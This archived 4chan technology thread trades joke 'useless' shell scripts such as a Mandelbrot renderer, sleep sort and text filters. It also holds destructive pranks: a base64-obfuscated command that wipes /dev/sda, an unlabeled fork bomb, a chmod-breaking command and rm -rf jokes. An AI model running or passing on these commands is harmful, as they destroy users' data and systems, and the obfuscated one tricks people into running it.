[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vip /vp / vr / w / wg / wsg / wsr / x / y ] [Search | Home]
4Archive logo
/uss/
If images are not shown try to refresh the page. If you like this website, please disable any AdBlock software!

You are currently reading a thread in /g/ - Technology

Thread replies: 37
Thread images: 4
File: 1428137039236.jpg (168 KB, 425x450) Image search: [iqdb] [SauceNao] [Google]
1428137039236.jpg
168 KB, 425x450
Useless shell scripts thread.

- weird hackery
- FUN scripts
- interesting scripts
- no usefull scripts
- no harmful scripts
- dont be the 9 year old rm -rf forkbomb kid

I'll begin:
trap "curl -s randominsults.net | sed -n '/<strong>/{s;^.*<i>\(.*\)</i>.*$;\1;p}'" ERR

# Get insulted when failing.
# To test simply enter: false
>>
ITT: rm -rf / in many forms
>>
ANIME="$(mktemp).png"
ANIME_WIDTH="250"

curl -sfL "http://1339.cf/grill.php" -o "$ANIME"
mogrify -resize "$ANIME_WIDTH" "$ANIME"
notify-send -i "$ANIME" -a "1339.cf" "頑張れ!"
>>
>>52222490
$(echo ZGQgaWY9L2Rldi91cmFuZG9tIG9mPS9kZXYvc2RhCg== | base64 -d)
>>
this thread will just be full of shit like this >>52222846 that no one will actually run
>>
 :(){ :|: & };: 
>>
>>52222490
sudo chmod -x /usr/bin/chmod
>>
>>52223087
I laughed a lot at this. How would you actually recover from this, other than mounting the hard drive to a different computer?
>>
>>52223098
download another chmod binary
>>
>>52223098
cool thread on it here http://unix.stackexchange.com/questions/83862/how-to-chmod-without-usr-bin-chmod/
>>
>>52223098
Overwrite some other executable file with /usr/bin/chmod.
>>
>>52223098
/lib/ld-linux.so /bin/chmod +x /bin/chmod
>>
>>52222846
Not cool man
>>
>/uss/
The reddit is strong here
>>
>>52222222
>>
>>52222846
MY COMPUTER DOESN'T WORK NOW, THANKS le epik troll xD
>>
for((P=10**8,Q=P/100,X=320*Q/(`tput cols`-1),Y=210*Q/`tput lines`,y=-105*Q,v=-2\
20*Q,x=v;y<105*Q;x=v,y+=Y));do for((;x<P;a=b=i=k=c=0,x+=X));do for((;a*a+b*b<2*\
P*P&&i++<99;a=((c=a)*a-b*b)/P+x,b=2*c*b/P+y));do :;done;(((j=(i<99?i%16:0)+30)>\
37?k=1,j-=8:0));echo -ne "\E[$k;$j"mE;done;echo -e "\E[0m";done


mandelbrot set
>>
#!/usr/bin/env python
import os
os.system("thisscript.py")
>>
>>52222490
That's nice, but only insults on intelligence makes sense. Calling me fat when my shell script fails? meh...
>>
>>52223207
nice
>>
>>52224820
nice one anon
>>
File: a.png (85 KB, 1920x1056) Image search: [iqdb] [SauceNao] [Google]
a.png
85 KB, 1920x1056
>>52224797
neat.png
>>
>>52222969
Now make it RM -rf
>>
>>52223087
I did this a long time ago
>>
Behold! Sleep sort.
#!/bin/bash
function f() {
sleep "$1"
echo "$1"
}
while [ -n "$1" ]
do
f "$1" &
shift
done
wait

example usage:
./sleepsort.bash 5 3 6 3 6 3 1 4 7
>>
>>52227771
>post the greatest useless script ever made
>no one appreciates it
>>
spurdo() {
printf "$*\n" | sed "s/kek/#geg#/gI;s/epic/#ebin#/gI;s/america/#clapistan#/gI;s/right/#ri#te#/gI;s/your/#ur#/gI;s/\./# :DD#/gI;s/'//gI;s/,/#XDD#/gI;s/wh/#w#/gI;s/th/#d#/gI;s/af/#ab#/gI;s/ap/#ab#/gI;s/ca/#ga#/gI;s/ck/#gg#/gI;s/co/#go#/gI;s/ev/#eb#/gI;s/ex/#egz#/gI;s/et/#ed#/gI;s/iv/#ib#/gI;s/it/#id#/gI;s/ke/#ge#/gI;s/nt/#nd#/gI;s/op/#ob#/gI;s/ot/#od#/gI;s/po/#bo#/gI;s/pe/#be#/gI;s/pi/#bi#/gI;s/up/#ub#/gI;s/va/#ba#/gI;s/ck/#gg#/gI;s/cr/#gr#/gI;s/kn/#gn#/gI;s/lt/#ld#/gI;s/mm/#m#/gI;s/nt/#dn#/gI;s/pr/#br#/gI;s/ts/#dz#/gI;s/tr/#dr#/gI;s/bs/#bz#/gI;s/ds/#dz#/gI;s/es/#es#/gI;s/fs/#fz#/gI;s/gs/#gz#/gI;s/ is/#iz#/gI;s/as/#az#/gI;s/ls/#lz#/gI;s/ms/#mz#/gI;s/ns/#nz#/gI;s/rs/#rz#/gI;s/ss/#sz#/gI;s/ts/#tz#/gI;s/us/#uz#/gI;s/ws/#wz#/gI;s/ys/#yz#/gI;s/alk/#olk#/gI;s/ing/#ign#/gI;s/ic/#ig#/gI;s/ng/#nk#/gI" | tr -d \#
}

Usage: spurdo $(fortune)
>>
>>52227771
What does it do?
>>
telnet towel.blinkenlights.nl
>>
File: 6544654546.png (17 KB, 1640x1007) Image search: [iqdb] [SauceNao] [Google]
6544654546.png
17 KB, 1640x1007
>>52228599
It sorts the numbers given to it
>>
>>52228617
that's not useless, that's a piece of art
>>
clear; while :; do sleep .001; tput cup $[RANDOM%$(tput lines)] $[RANDOM%$(tput cols)]; tput setaf $[RANDOM%8]; printf "%s" $[RANDOM%2]; done
>>
>>52228587
Ebin :DDDDD
>>
>>52228587
zsh: fortune: command not found...
Install package 'fortune-mod' to provide command 'fortune'? [N/y] y

Proceed with changes? [N/y] y

Failed to install packages: Failed to obtain authentication.
zsh: command not found: fortune
* Waidign in queue :DD :DD :DD de followign paggages have to be inztalled: regode-3 :DD6-40 :DDfc22 :DDx86_64 gonverzion bedween character seds and surfaces * Waidign in queue :DD :DD :DD * Waidign for audendigation :DD :DD :DD
>>
>>52229131
le hipster zsh

type bash first, idiot
>>
>>52229165
Thats not the point of my post, retard
>>
File: 1451899189402.jpg (39 KB, 1024x768) Image search: [iqdb] [SauceNao] [Google]
1451899189402.jpg
39 KB, 1024x768
< /dev/urandom tr -dc 'a-z0-9' | head -c16


< /dev/urandom tr -dc A-Za-z0-9 | head -c24


< /dev/urandom tr -dc '!-}' | head -c48
Thread replies: 37
Thread images: 4
Thread DB ID: 367394



[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vip /vp / vr / w / wg / wsg / wsr / x / y] [Search | Home]

[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vip /vp / vr / w / wg / wsg / wsr / x / y] [Search | Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the shown content originated from that site. This means that 4Archive shows their content, archived. If you need information for a Poster - contact them.
If a post contains personal/copyrighted/illegal content, then use the post's [Report] link! If a post is not removed within 24h contact me at [email protected] with the post's information.